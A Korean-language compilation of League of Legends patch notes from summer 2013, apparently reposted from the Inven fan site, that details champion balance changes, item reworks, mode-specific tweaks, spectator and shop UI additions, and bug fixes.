설명: 갈리오의 궁극기에는 밸런스 조정을 위해 여러 가지 조치가 취해진 상태입니다. 하지만 대응책과 마나 소모량, 재사용 대기 시간을 비교해본 결과, 전반적으로 지나친 제약이 걸려있다는 결론을 내렸습니다. 궁극기의 마나 소모량과 재사용 대기시간을 줄여서, 갈리오가 경기 수준에 관계없이 쓸 만한 챔피언이 될 수 있도록 했습니다.

• 듀란드의 석상
o 재사용 대기시간이 150/135/120초로 감소했습니다. (기존 170/150/130초)
o 마나 소모량이 100으로 감소했습니다. (기존 100/150/200)

드레이븐

요약: 킬을 올릴 때마다 중첩을 모두 소모하여 추가 골드를 획득하도록 기본 지속 효과가 변경됐습니다. 다만 소모되는 중첩당 추가 골드 획득량이 1 줄었습니다. 또한, 이제 매 킬당 최소 50골드의 추가 골드가 발생합니다.

설명: 드레이븐이야말로 여러 가지 의미로 리그 오브 레전드에서 가장 대단한 챔피언이란 점을 생각한다면, 현 기본 지속 효과인 드레이븐의 리그가 좀 밋밋하게 느껴지는 것이 사실입니다. 게임 후반에 또는 연속 킬을 올렸을 때 성능 면으로도 시각 효과 면으로도 만족스러운 지속 효과가 될 수 있도록 여러 개선책을 모색하고 있습니다.

• 드레이븐의 리그
o 이제 적 챔피언을 처치하면 기본 50의 추가 골드를 획득합니다. (기존 0골드)
o 이제 적 처치 시 팬들의 환호 중첩을 모두 소모하여 골드를 획득합니다. (기존 팬들의 환호 중첩 절반 소모)
o 팬들의 환호 중첩 소모 당 골드 획득량이 2골드로 감소했습니다. (기존 3골드)
o 드레이븐이 적 처치 시, 이제 팬들의 환호 중첩을 대폭 소모했을 때만이 아니라 매번 드레이븐의 리그 시각 효과와 사운드가 출력됩니다.

모데카이저
• 철인
o 이제 보호막 수치가 체력과 유사하게 구획으로 표시됩니다.

신지드

• 던져넘기기
o 던져넘기기로 스킬 툴팁의 수치보다 더 큰 피해량이 적용되던 버그를 수정했습니다.

쓰레쉬
• 사형 선고
o 공격 대상이 사형 선고 스킬을 정화로 풀거나 주문 보호막으로 막을 경우, 사슬이 끊어져 쓰레쉬가 죽음의 도약 공격을 할 수 없게 됩니다.

우디르
• 불사조 태세
o 이제 불사조 태세의 이로운 효과가 우디르의 다음 번 불사조 화염 공격에 타이머로 표시됩니다.

자크
요약: 자크의 몸 조각을 적이 밟아서 지우기가 좀 더 수월해졌습니다.

설명: 자크를 처음 설계했을 때, 다소 유리하게 설정하지 않으면 자크 플레이어들이 몸 조각을 활용하기가 지나치게 어려우리라는 우려가 있었습니다. 따라서, 적이 자크보다 몸 조각에 더 가까이 있어 밟아 지울 수 있어야 하는 상황에서도 자크가 몸 조각을 흡수해 체력을 회복할 수 있게 했습니다. 그러나 출시 후, 자크는 초보자에게도 실력자에게도 엄청나게 강력한 챔피언으로 떠올랐습니다. 자크는 지금도 밸런스 조정 중이지만, 우선 이번 변경으로 공격로에서 자크의 몸 조각을 밟아 지워 자크의 생존력을 떨어뜨리려고 할 때 좀 더 공정한 판정이 적용되도록 했습니다.

• 세포 분열
o 기본 지속 효과로 몸 조각들이 떨어지면 이를 적이 보다 쉽게 밟아 없앨 수 있도록 조정됐습니다.
o 적 챔피언이 자크에게서 특정 거리 안에 있다면, 이를 지우는 플레이가 가능하도록 몸 조각이 자크와 해당 적 사이에 생성됩니다. (새로운 기능은 아니지만 이해를 돕기 위해 패치 노트에 기재합니다.)
o 적 챔피언이 자크로부터 1000 유닛 거리 안에 있을 경우 몸 조각이 자크와 적 챔피언 사이에 생성됩니다. (기존 700 거리)
o 적 챔피언 쪽으로 떨어지는 몸 조각이 튀어나가는 거리를 약간 늘렸습니다.
o 자크와 적 챔피언이 동시에 몸 조각에 근접한 경우, 몸 조각은 이제 자동으로 자크에게 흡수되지 않고 더 가까이 있는 대상에게 반응합니다.
o 몸 조각이 무적인 시간을 0.75초에서 0.25초로 줄였습니다.
o 몸 조각의 무적 상태가 자크와 적 모두에게 적용됩니다. 이전에는 적이 밟아 지울 수 없는 효과만 적용됐지만, 이제 자크 역시 0.25초가 지나지 않으면 몸 조각을 흡수할 수 없습니다.
o 자크가 몸 조각을 흡수할 수 있는 거리가 늘어났으며, 바운스! 지속 시간 동안은 몸 조각의 무적 상태를 무시할 수 있게 됐습니다.
• 새총 발사
o 착지 지점의 시각 효과가 적에게 표시되지 않던 버그를 수정했습니다.

피오라
설명: 꽤 전부터 피오라의 검의 왈츠는 안정성이 떨어져 원활한 플레이를 저해한다는 목소리가 있었습니다. 이제 궁극기 안정성을 높여 좀 더 만족스럽게 플레이하실 수 있게 변경했습니다.

• 검의 왈츠
o 이제 검의 왈츠가 계속 진행되기 위해 필요한 경우 대상으로 지정할 수 없거나 은신 상태인 적을 대상으로 지정합니다. 피오라가 검의 왈츠를 이어가기 위해 이런 대상에게 점프했을 때는 점프만 적용되며 해당 적에게 피해를 입히지는 않습니다. 다만, 피오라가 수풀 속 대상에게 점프해 위치가 드러났다면 정상적으로 피해가 적용됩니다

아이템


구인수의 격노검
• 시각 효과에 일반적인 '이동 속도 상승' 효과가 추가됐던 버그를 수정했습니다.


수정의 상처 & 뒤틀린 숲
다음 변경 사항은 수정의 상처와 뒤틀린 숲에만 적용됩니다.

핏빛 칼날
설명: 3.10 패치에서 쓸데없이 큰 지팡이를 삭제한 것과 마찬가지로, B.F. 대검을 구입하기 위해 골드를 모으는 것이 지나치게 힘들었던 문제를 해결하기 위해 핏빛 칼날의 재료 아이템을 변경했습니다.

• 재료 아이템 변경: 곡괭이 + 흡혈의 낫 + 500 골드 = 2175 골드 (기존: B.F. 대검 + 흡혈의 낫 + 500 골드 = 2850 골드)

니달리
설명: 와드를 구입할 수 없는 맵에서 니달리의 매복 덫 스킬의 시야 제공 및 영역 장악 능력이 지나치게 강력했습니다. 수정의 상처와 뒤틀린 숲에선 게임 시간이 일반적으로 짧은 만큼, 덫 지속 시간을 이에 맞게 하향했습니다.

• 매복 덫으로 위치를 드러내고 방어력과 마법 저항력을 낮추는 지속 시간이 6초로 감소했습니다. (기존 12초)
• 매복 덫의 함정 지속 시간이 2분으로 감소했습니다. (기존 4분)

티모
설명: 니달리와 마찬가지로 티모의 유독성 함정도 와드를 구입할 수 없는 맵에서 시야 제공 및 영역 장악 능력이 지나치게 강력했습니다. 수정의 상처와 뒤틀린 숲의 짧은 게임 시간에 알맞게 해당 스킬의 지속 시간을 하향했습니다.

• 유독성 함정의 지속 시간이 3분으로 감소했습니다. (기존 10분)

수정의 상처
다음 변경 사항은 수정의 상처에만 적용됩니다.

카사딘
설명: 지난 변경 이후로 훨씬 밸런스가 양호해졌지만 카사딘은 여전히 좀 강력합니다. 이번 침묵 지속 시간 변경으로 너무 약하지도 강하지도 않고 다른 챔피언들과 대등한 입장에 설 수 있게 될 것입니다.

• 무의 구체 스킬의 침묵 지속 시간이 1/1.25/1.5/1.75/2초로 감소했습니다. (기존 1/1.4/1.8/2.2/2.6초)

카직스
설명: 도미니언에선 카직스의 고립 효과를 이용하기가 너무 쉬웠습니다. 카직스가 암살 능력을 어느 정도 유지하면서도 상대하는 입장에서도 어느 정도 반격할 기회를 잡을 수 있도록 변경했습니다.

• 공포 감지의 고립 시 추가 피해량이 35%로 감소했습니다. (기존 45%)
• 거대 갈고리 진화의 잃은 체력 비례 추가 피해량이 6%로 감소했습니다. (기존 8%)

룰루
설명: 룰루가 엄청난 팀 보조 효과를 가진 궁극기를 팀 전투 때마다 사용할 수 있어서 지나치게 강력하다고 판단했습니다.

• 급성장의 재사용 대기시간이 120/110/100초로 증가했습니다. (기존 110/95/80초)

오공
설명: 저절로 주어지는 방어 관련 능력치 덕분에 오공은 공격 아이템만 구입해도 크게 취약해지지 않았습니다. 바위 피부를 하향하고, 밸런스를 맞추기 위해 회전격의 재사용 대기시간을 줄였습니다.

• 바위 피부 기본 지속 효과가 제공하는 단계별 방어력과 마법 저항력 2/4/6으로 하향됐습니다. (기존 4/6/8)
• 회전격의 재사용 대기시간이 120/110/100초로 감소했습니다. (기존 120/105/90초)

요릭
설명: 요릭이 공격로에서 1:1로 상대하기 힘든 챔피언이 없는 건 아니지만, 상성이 확실한 챔피언을 만나지 않으면 요릭이 공격로 상대를 완전히 압도하는 경우가 많았습니다. 이번 변경으로 요릭의 견제 능력과 생존력을 약간 하향했습니다.

• 기근의 징조의 사거리가 500으로 변경됐습니다. (기존 550)
• 기근의 징조 재사용 대기시간이 8초로 변경됐습니다. (기존 10/9/8/7/6초)

게임 인터페이스(UI)


아이템 상점 되돌리기 버튼
설명: 스웨인을 플레이하다 실수로 B.F. 대검을 사버리셨다고요? 이제 아이템 상점에 추가된 되돌리기 버튼을 이용하면 클릭 실수로 구입하거나 판매한 아이템을 되돌릴 수 있습니다. 다만, 구매한 아이템으로 피해를 입히거나, 피해를 감소시키거나, 체력을 회복시키거나, 팀원에게 이로운 효과를 제공하는 등 게임에 되돌릴 수 없는 영향을 미쳤을 경우에는 취소할 수 없다는 점은 기억해 주세요.

• 이제 게임 내 아이템 상점에서 방금 한 아이템 매매를 취소할 수 있습니다.
o 상점 거래 가능 구역을 벗어나거나 적에게 피해를 주거나 피해를 입는 경우, 소환사 주문을 사용하는 경우에는 아이템 매매를 취소할 수 없게 됩니다.
o 아이템 구매를 취소하는 경우 혜택은 사라집니다. 예를 들어 시간 당 골드를 부여하는 아이템이라면 구입 후 획득한 골드가 차감됩니다.
o 신발의 민병대나 대장 마법 부여 효과는 되돌리기가 적용되지 않습니다.

HUD
• 챔피언의 기본 지속 효과에 적용 범위가 있는 경우, 아이콘 위에 마우스를 가져가면 사거리가 표시됩니다. (예: 소라카의 신성화)

관전자 모드
팀간 전투 UI

설명: 관전자 모드에서 팀전이 벌어지면 UI를 한데 모아 간소화해서, 전투에만 집중할 수 있게 해주는 기능인 팀간 전투 UI를 새로 개발했습니다. 팀전이 개시되면, 전투에 어떤 챔피언이 참가했는지, 어느 팀이 이기고 있는지, 각 팀에서 몇 명이 사망했는지 등 전투에 관한 정보를 최적화해서 표시하게 했습니다.

• 관전 중 [A]키로 팀간 전투 UI를 켜거나 끌 수 있습니다.
• 화면에서 일어나는 전투에 연관된 정보를 집중적으로 보여주는 UI 최소화 모드
• 전투의 향방과 광역 피해의 영향력을 볼 수 있는 팀 전체 체력 게이지
• 군중 제어기의 위력을 시각적으로 보여주는 군중 제어기 표시
• 더블, 트리플, 쿼드라, 펜타킬의 진척을 보여주는 펜타킬 카운터

드래곤과 내셔 남작 타이머
• 관전자 모드 상단 좌측 타이머에서 드래곤과 내셔 남작이 생성되는 시간이 카운트다운됩니다.

리그 시스템


로딩 화면 보상 테두리
로딩 스크린 테두리가 이제 3:3, 5:5, 랭크 팀 등 게임 모드에 관계 없이 이전 시즌에 올렸던 최상위 티어로 표시됩니다.

• 다만, 소환사님들의 의견을 반영하여, 3.12 패치에서 바로 기존 표시 방법으로 되돌릴 예정입니다. 이 점 기억하시어 너그럽게 양해 부탁드립니다. 불편을 끼쳐드린 점 진심으로 사과 말씀 드립니다. 시즌 3 종료 보상에 관한 상세 정보를 확인하시려면 여기를 클릭해 주세요.

스킨


정령 수호자 우디르
• 특정 챔피언에게 반응하여 발동하는 대사가 추가되었습니다.






일반


설명: 3.10 패치 이후 미니맵 버그가 이전보다 빈번하게 발생하고 있습니다. 한 가지 버그는 수정이 완료되었으나, 기술적으로 복잡한 문제라 완전히 해결하는 데에는 어느 정도 시일이 더 필요할 것 같습니다.

• 챔피언들이 전장의 안개에서 나올 때 미니맵에서 잘못된 위치에 표시되도록 하는 버그 중 하나를 수정했습니다.
• 사용자 설정 게임에서 IP/경험치 보상을 받기 위한 최소 게임 진행 시간이 7분으로 증가했습니다. (기존 5분)
• 이제 기본 공격 취소 시 공격 대상에 피해가 없는 탄도체가 발사되지 않습니다.
o 피해가 없는 탄도체는 이제 이로운 효과나 기본 지속 효과를 소모하지 않습니다.
o 탄도체는 발사되지 않지만, 효과음은 들릴 수 있습니다. 해당 버그를 수정하기 위해 계속 조사 중입니다.
• 미니언들이 이제 처치된 후 더 빠르게 맵에서 사라집니다.
• 이제 게임 시작 시 커서가 윈도우 중앙에 기본으로 놓여, 시작부터 맵 왼쪽이나 오른쪽 끝까지 카메라 시점이 이동하는 현상이 방지됩니다.
• 또한, 플레이어가 전체 화면으로 전환한 다음 (alt-tab) 짧은 시간이 지나면 화면 중앙에 놓이게 됩니다.
• [소환사 이름 보이기/숨기기]의 기본 단축키가 삭제됐습니다. (기존 Shift-K) 이 기능을 계속 사용하고 싶으실 경우 키 지정 메뉴에서 지정하실 수 있습니다.
• 자리 비움 상태가 된 이후 게임 연결이 끊기기까지 유지되는 시간이 단축됐습니다.
• 포탑이 계속 전장의 안개 속에 유지되는 경우에도 이제 포탑의 체력이 업데이트됩니다.
• 소환사 정보창의 챔피언 탭에 새로운 디자인이 적용됐습니다.
o 챔피언 정렬창의 폭이 넓어져, 더 많은 챔피언을 한 눈에 볼 수 있습니다.
o 주 역할군 선택 기능이 버튼형에서 오른쪽 상단의 드롭다운 메뉴로 변경되었습니다.

<친구 목록
• 게임의 안정성과 성능 향상을 위하여 친구 목록이 일부 변경되었습니다.
o 친구 목록을 스크롤할 때 같은 목록이 중복되거나 사라지던 버그를 수정했습니다.
o 이제 친구 메모 아이콘 위에 마우스 커서를 가져가지 않아도 친구에 대해 적어둔 내용이 툴팁으로 표시됩니다.

사용자 설정 게임
• 자리 비움 감지 시간이 3분으로 단축됐습니다. (기존 8분)
o 이제 5분이 흐르면 게임 연결이 끊어집니다. (기존 12분)
• 이제 사용자 설정 게임에서 IP/경험치 보상을 받기 위해서는 다음과 같은 최소한의 플레이어가 참여해야 합니다. 현재 최소 인원 수는 다음과 같습니다:
o 소환사의 협곡, 수정의 상처, 칼바람 나락: 플레이어 5명
o 뒤틀린 숲: 플레이어 3명
• 게임 종료 화면에서 IP/경험치 보상을 받지 못하는 이유가 표시됩니다.

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출처 : 롤 인벤

http://www.inven.co.kr/board/powerbbs.php?come_idx=3329&l=88


2013년 8월 28일(수) 패치 노트


3.10a 패치 노트

소환사 여러분,

곧 개최될 월드 챔피언십을 차질 없이 치르기 위해 패치 안정성 향상에 만전을 기하고 있습니다. 위험 요소를 줄이기 위한 노력의 일환으로 밸런스 및 게임 디자인 관련 변경 사항만을 포함한 3.10a 패치를 먼저 적용하게 되었습니다.

챔피언
루시안
• 신규 챔피언 정화의 사도 루시안이 출시됐습니다.

르블랑

요약: 르블랑의 기본 체력 재생량과 레벨당 공격력이 약간 상향됐습니다.

설명: 독특한 스킬과 따라올 수 없는 기동성을 지녔지만 공격에 매우 취약한 르블랑은 언제나 마스터하기 어려운 챔피언이었습니다. 애초에 그렇게 설계된 챔피언이지만, 3.9 패치에서 적용된 변경사항으로 인해 특히 공격로에서의 취약성이 지나치게 두드러지게 됐습니다. 이번 상향으로 르블랑은 좀 더 균형 잡힌, 플레이하기 좋은 챔피언이 될 것입니다.

• 기본 체력 회복량이 5.05에서 7.05로 증가했습니다.
• 레벨당 공격력이 3.1에서 3.5로 증가했습니다.

리븐
요약: 이제 리븐이 부러진 날개 스킬의 세 번째 도약으로 벽을 넘을 수 있게 됐습니다.

요약: 이제 리븐이 부러진 날개 스킬의 세 번째 도약으로 벽을 넘을 수 있게 됐습니다.
설명: 얼마 전 게임 엔진 개선이 이루어진 후로 리븐이 부러진 날개를 사용해 벽을 넘을 수 있게 됐습니다. 논의를 거쳐 새로 발견된 이 플레이 방식을 전적으로 지원하는 한편, 판정을 다듬기로 결정했습니다. 이번 변경은 뛰어난 기동성을 살려 소규모 접전을 벌이는 리븐의 플레이 스타일에 적합한 만큼, 지나친 상향으로 드러날 경우에도 이 능력을 삭제하기보단 그대로 둔 상태에서 전체적인 밸런스를 조정할 계획입니다.

• 일반
o 리븐의 몇몇 파티클 효과가 보이지 않던 버그를 수정했습니다.
• 부러진 날개
o 이제 세 번째 도약이 적을 밀어내지 않고 공중으로 띄우도록 변경됐습니다.
o 세 번째 도약으로만 벽을 넘을 수 있도록 변경됐습니다.
o 충돌 판정 크기가 파티클 효과 크기에 좀 더 근접하도록 변경됐습니다.

마스터 이 

요약: 이제 최후의 전사 활성화 상태에서 킬이나 어시스트를 올리면 스킬 재사용 대기시간이 고정 수치만큼이 아니라 일정 비율로 줄어듭니다. 따라서 첫 일격 필살로 킬을 올리더라도, 재사용 대기시간을 초기화시켜 일격 필살을 연속으로 퍼붓는 플레이가 더 이상 불가능해집니다. 또한 마스터 이의 레벨당 공격 속도가 감소했으며, 명상 스킬의 고레벨 구간 피해 감소 효과가 증가했습니다. 우주류 검술의 지속 효과에 의한 공격력 증가 효과는 저레벨 구간에서 상향됐으며 고레벨 구간에서 하향됐습니다.

설명: 리메이크된 마스터 이는 한 순간에 매우 강력한 챔피언으로 떠올랐으며, 위력을 좀 줄여야 할 필요가 생겼습니다. 전반적으로 공격력을 줄이는 간단한 해결책보다는, 마스터 이를 플레이하는 입장에도 상대하는 입장에도 기회를 줄 수 있는 방법을 찾기 위해 노력했습니다. 최후의 전사의 재사용 대기시간 초기화 효과는 매우 재미있는 요소이지만, 일정 시간만큼 대기 시간을 줄이는 효과 때문에 능숙한 마스터 이 플레이어들은 킬을 한 번만 올리면 반격당할 위험이 전혀 없이 일격 필살을 난사할 수 있었습니다. 이제 초기화 효과가 발동되더라도 일격 필살을 다시 사용하려면 몇 번 기본 공격을 해야 하며, 상대는 이 때 반격할 기회를 잡을 수 있습니다. 또한 명상 스킬이 상향되어 마스터 이의 입장에서도 재사용 대기시간 동안 공격을 방어할 수 있는 수단이 생겼으며, 스킬 선택의 폭도 좀 더 넓어졌습니다.

• 일반
o 레벨당 공격 속도가 2.75%에서 2%로 감소했습니다.
• 2연속 공격
o 마스터 이가 실명 상태일 때도 2연속 공격으로 피해를 입힐 수 있었던 버그를 수정했습니다.
• 명상
o 피해 감소 효과가 40/45/50/55/60%에서 50/55/60/67/70%로 상향됐습니다.
• 우주류 검술
o 지속 효과의 공격력 증가 효과가 7/9/11/13/15%에서 변경돼 모든 단계에서 10%로 고정됐습니다.
• 최후의 전사
o 마스터 이가 킬이나 어시스트를 올리면 기본 스킬의 남아있는 재사용 대기시간을 70% 줄이도록 변경됐습니다. (종전: 킬 기록 시 18초 감소, 어시스트 기록 시 9초 감소)


요약: 닌자 방어술의 방어막이 하향됐으며, 속박에 걸리면 단결된 의지 시전이 중단되도록 변경됐습니다.

설명: 프로 경기에서 비할 바 없이 강력한 챔피언으로 군림해온 쉔은 특히 게임 후반에서 방어력이 지나치게 높아지는 문제가 있었습니다. 주력 딜러들조차 쉔의 방어막을 파괴하기가 어려울 정도였습니다. 이번 미세한 하향을 통해 쉔의 맞대결 능력이 어느 정도 감소했습니다. 또한 발동 시간이 필요한 다른 이동 스킬들과의 일관성을 확보하기 위해 단결된 의지 또한 변경했습니다. 구체적으로 말씀드리면, 트위스티드 페이트의 관문 스킬과 마찬가지로 속박 효과를 통해 단결된 의지를 중단시킬 수 있게 됐습니다. 유사한 다른 사례들을 앞으로도 주시할 예정입니다.
• 닌자 방어술
o 방어막 피해 흡수량이 70/115/160/205/250에서 60/100/140/180/220으로 감소했습니다.
• 단결된 의지
o 속박 효과를 통해 중단시킬 수 있게 됐습니다.

자크
요약: 체력을 회복시켜주는 신체조각을 자크가 줍기도, 적이 밟아서 없애기도 좀 더 어려워집니다. 또한 자크의 궁극기가 강인함 효과를 주지 않도록 변경됐습니다.

설명: 이전에는 자크의 신체조각 줍기 판정 범위가 너무 넓어서, 스킬을 사용하고 가만히 서 있더라도 체력이 회복되는 경우가 있을 정도였습니다. 이번 변경으로 자크는 체력을 회복하기 위해, 상대는 그걸 저지하기 위해 전술적으로 움직여야 하므로 공격로에서 자크에 대응할 수 있는 여지가 더 많아졌습니다. 바운스! 스킬의 경우 전투 시에 더 다양한 게임플레이가 가능하도록 강인함 효과를 삭제했습니다. 특히 자크의 움직임을 봉쇄하여 취약한 아군을 보호할 수 있게 됐습니다.

• 세포 분열
o 신체조각 흡수 및 파괴 범위 반경이 100에서 25로 축소됐습니다.
• 바운스!
o 이제 강인함 효과가 주어지지 않습니다.
o 활성화 시 자크에게 걸린 모든 둔화 효과를 제거하는 능력이 툴팁에 명시됐습니다.

트위치
요약: 트위치의 말살 스킬이 5단계 전에 입히는 피해량이 감소했습니다.

설명: 현재 공격로 단계에서 트위치의 맞대결 능력은, 맹독 중첩을 끝까지 쌓지 못하고 말살 스킬을 사용할 때조차도 지나치게 강력합니다. 이번 변경으로 게임 초반에 트위치의 위력을 줄이면서도 팀 전투 기여도는 유지하도록 했습니다.

• 말살
o 기본 피해량이 40/50/60/70/80에서 20/35/50/65/80으로 감소했습니다.

아이템
주: 아이템 가격 및 능력치가 명시되지 않은 부분은 그대로 유지됐음을 의미합니다. 
 
빌지워터 해적검
• 사거리가 550에서 450으로 감소했습니다.
• 사용 효과 판정 범위가 다소 넓어졌습니다.

몰락한 왕의 검
• 사거리가 550에서 450으로 감소했습니다.
• 사용 효과 재사용 대기시간이 60초에서 90초로 증가했습니다.

강철의 솔라리 펜던트
• 체력 회복량이 너무 높게 적용되던 버그를 수정했습니다.

정령의 형상
• 조합 비용이 375에서 500골드로 증가했습니다. 총 가격은 2625에서 2750골드로 올랐습니다.

탐식의 망치, 삼위일체의 얼음 지속 효과
요약: 탐식의 망치와 삼위일체에서 ‘얼음’ 지속 효과가 삭제됐습니다. 일정 확률로 적 챔피언을 둔화시키는 적중 시 효과 대신, 해당 아이템으로 공격 시 잠시 동안 이동 속도가 상승합니다. 미니언이나 몬스터, 챔피언을 처치했을 경우 이동 속도가 더 큰 폭으로 증가합니다. 얼어붙은 망치의 능력은 그대로이지만, 재료 아이템이 변경됐습니다.

설명: 하향되는 몰락한 왕의 검 대신 근접 딜러들이 목표물에 밀착할 수 있는 수단을 제공하려 했습니다. 논의를 거쳐 모든 챔피언에게 유용한 효과인 전투 중 이동 속도 증가를 대안으로 결정했습니다.

탐식의 망치
• 고유 지속 효과 – 얼음: 삭제됐습니다.
• 신규 고유 지속 효과 – 격분: 기본 공격이 적중하면 2초간 이동 속도가 20 상승합니다. 미니언, 몬스터, 챔피언을 처치하면 2초간 이동 속도가 60 상승합니다.
• 조합 비용이 590에서 375골드로 감소했습니다. 총 가격은 1465에서 1250골드로 내렸습니다.

삼위일체
• 고유 지속 효과 – 얼음: 삭제됐습니다.
• 신규 고유 지속 효과 – 격분: 기본 공격이 적중하면 2초간 이동 속도가 20 상승합니다. 미니언, 몬스터, 챔피언을 처치하면 2초간 이동 속도가 60 상승합니다.
• 고유 지속 효과 – 주문 검
• 피해량이 기본 공격력의 150%에서 200%로 증가했습니다.
• 탐식의 망치 가격이 낮아짐에 따라, 총 가격이 3843에서 3628골드로 낮아졌습니다.

얼어붙은 망치
• 재료 아이템 변경: 거인의 허리띠 + 곡괭이 + 루비 수정 + 950골드 = 총 가격 3300골드
• 고유 지속 효과 – 얼음: 유지됐습니다.


소환사의 협곡
• 하급 망령
o 처치 시 경험치 획득량이 너무 적게 (15가 아니라 4) 적용되던 버그를 수정했습니다.

뒤틀린 숲과 수정의 상처
• 몰락한 왕의 검
o 이제 수정의 상처에서 사용할 수 있습니다.
• 엔트로피
o 기본 지속 효과 – 얼음: 삭제되었습니다.
o 신규 고유 지속 효과 – 격분: 기본 공격이 적중하면 2초간 이동 속도가 20 상승합니다. 미니언, 몬스터, 챔피언을 처치하면 2초간 이동 속도가 60 상승합니다.
o 탐식의 망치 가격이 낮아짐에 따라, 총 가격이 3615에서 3400골드로 낮아졌습니다.
• 키타에의 피갈퀴손
o 수정의 상처에서 삭제되었습니다.

칼바람 나락
• 포로
o 너무 귀여워서 고칠 데가 없었습니다

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출처 : 롤 인벤

http://www.inven.co.kr/board/powerbbs.php?come_idx=3329&l=87


2013년 8월 1일(목) 패치 노트



나미
• 물의 감옥
o 기절 효과가 가끔 설계보다 길게 지속되던 버그를 수정했습니다.

라이즈 

요약: 이번 패치에서 라이즈의 스킬 사거리가 줄어들었습니다. 대신 필사적인 힘 스킬의 이동 속도 증가량을 상향했습니다. 

설명: (아이템이 갖춰질 경우) 라이즈는 게임 후반의 높은 피해량과 스킬 사거리를 활용해, 멀찍이 서서 후방의 연약한 적들에게 큰 피해를 입히면서도 "짐승 같은 탱커" 역할을 수행할 수 있었습니다. 중거리 마법사라는 라이즈의 핵심 역할을 다시 부각시키고 싶었습니다. 이제 라이즈에겐 위치 선정과 적 팀에 접근하는 능력이 전보다 중요해졌으며, 상향된 이동 속도를 활용해 중요한 공격 목표에 다가가 강력한 공격을 퍼부을 수 있게 되었습니다.


• 과부하
o 사거리가 650에서 600로 감소했습니다.
• 룬 감옥
o 사거리가 625에서 600으로 감소했습니다.
o 마나 소모량이 80/90/100/110/120에서 60/70/80/90/100으로 감소했습니다.
• 주문 흐름
o 사거리가 675에서 600으로 감소했습니다.
• 필사적인 힘
o 이동 속도 증가량이 35/45/55에서 60/70/80으로 증가했습니다.

마스터 이 (리메이크)
요약: 마스터 이의 게임 내 모델과 스킬이 리메이크됐습니다. 


• 일반
o 레벨당 체력이 86에서 92로 증가했습니다.
o 기본 마나가 199에서 180으로 감소했습니다.
o 레벨당 마나가 36에서 42로 증가했습니다.
o 기본 방어력이 16.3에서 15로 감소했습니다.
o 레벨당 방어력이 3.7에서 3으로 감소했습니다.
o 레벨당 공격 속도가 2.98%에서 2.75%로 감소했습니다.
• 2연속 공격
o 매 4번째 공격마다 마스터 이는 2번 연속 공격하며, 이때 두 번째 공격은 50%의 피해를 입힙니다.
• 일격 필살
o 마스터 이가 잠시 대상으로 지정할 수 없게 되며 최대 4명까지의 적을 공격하여 25/60/95/130/165 (+1.0 총 공격력)의 물리 피해를 입힙니다. 미니언에겐 75/100/125/150/175의 추가 피해를 입힙니다. 일격 필살에는 총 공격력의 60%에 달하는 피해를 추가로 입히는 치명타 효과가 적용됩니다.
o 마스터 이가 기본 공격을 할 때마다 일격 필살의 재사용 대기시간이 1초씩 줄어듭니다.
o 마나 소모량: 70/80/90/100/110
o 재사용 대기시간: 18/17/16/15/14초
• 명상
o 마스터 이가 4초간 정신을 집중하여, 입는 피해가 40/45/50/55/60% 줄어들며 초당 30/50/70/90/110 (+0.3 주문력)의 체력을 회복합니다. 마스터 이의 잃은 체력 1%당 체력 회복량이 1%씩 증가합니다. 포탑이 입히는 피해에는 피해 감소 효과가 절반만 적용됩니다.
o 마나 소모량: 50/65/80/95/110
o 재사용 대기시간: 35초
• 우주류 검술
o 기본 지속 효과: 마스터 이의 공격력이 7/9/11/13/15% 증가합니다.
o 사용 시: 마스터 이가 5초간 기본 공격 적중 시 10/15/20/25/30 (+0.1/0.125/0.15/0.175/0.2 총 공격력)의 고정 피해를 입힙니다. 그 후 우주류 검술 스킬이 재사용 대기에 들어가면 기본 지속 효과가 사라집니다.
o 마나 소모량: 0
o 재사용 대기시간: 18/17/16/15/14초
• 최후의 전사
o 기본 지속 효과: 마스터 이가 킬을 올리면, 기본 스킬의 재사용 대기시간이 18초 줄어듭니다. 어시스트를 기록하면 절반 줄어듭니다.
o 사용 시: 10초 동안 마스터 이의 공격 속도가 30/55/80% 증가하며 이동 속도가 25/35/45% 증가합니다. 마스터 이가 최후의 전사를 사용한 상태에서 킬이나 어시스트를 올리면, 최후의 전사 효과 지속 시간이 4초 연장됩니다.
o 마나 소모량: 100
o 재사용 대기시간: 75초

말자하
• 공허의 부름
o 공허로 이어지는 문을 통해 전장의 안개와 수풀 안에서 제공되는 시야가 다른 발사체의 경우와 동일하도록 수정됐습니다.
• 공허충 소환
o 둘 이상의 유닛에게 재앙의 환상이 걸려있을 경우 공허충이 계속해서 공격 대상을 변경하지 않도록 수정됐습니다.

베인
• 선고
o 스킬 시전 사거리가 가끔 설계보다 길게 적용되던 (550이 아니라 650) 버그를 수정했습니다.
• 결전의 시간
o 재사용 대기시간이 70초에서 100/85/70초로 증가했습니다.

뽀삐
• 용감한 돌진
o 뽀삐가 돌진을 마친 후에 이전에 내린 이동 또는 공격 명령을 수행하려 하던 버그를 수정했습니다.
o 돌진 후에 뽀삐가 짧게 머뭇거리던 버그를 수정했습니다.

쓰레쉬
요약: 쓰레쉬의 기본 체력과 방어력을 하향하여 저레벨 구간에서 지나치게 강하지 않도록 한 대신, 영혼 채집을 통한 능력치 증가량이 영혼을 채집할수록 줄어들지 않고 고정된 양만큼 오르도록 변경했습니다.

설명: 사형 선고와 사슬 채찍 등 많은 군중 제어기를 갖춘 쓰레쉬인 만큼, 초반 공격로에서 적과 공격을 주고받으려면 좀 더 위험부담을 감수해야만 하도록 만들었습니다. 또한, 영혼 채집은 게임 초반에는 쓰레쉬에게 매우 중요하지만 갈수록 보상이 줄어들기 때문에 게임 후반에는 무시되는 경향이 있었습니다. 영혼 채집 보상을 고정 수치로 유지함으로써 쓰레쉬의 기본 지속 효과가 게임 시작부터 끝까지 중요하게 쓰이도록 했습니다.


• 일반
o 기본 체력이 541에서 500으로 감소했습니다.
o 기본 방어력이 18에서 12로 감소했습니다.
• 지옥살이
o 채집한 영혼 하나 당 방어력과 주문력이 처음에 1.0씩 상승한 후 점점 상승폭이 줄어들지 않고, 항상 0.75씩 상승하도록 변경되었습니다.

애쉬
요약: 애쉬의 기본 지속 효과를 개선하는 과정에서, 집중 중첩이 쌓이지 않아야 할 상황에서 쌓이는 작은 버그를 발견했습니다. 버그를 수정한 후 이에 한 보상으로 집중을 약간 상향했습니다.

• 집중
o 초당 집중 중첩이 3/4/5/6/7에서 4/5/6/7/8씩 쌓이도록 상향됐습니다.
o 특정 상황에서 재사용 대기 중에도 집중 중첩이 쌓이는 버그를 수정했습니다.

엘리스
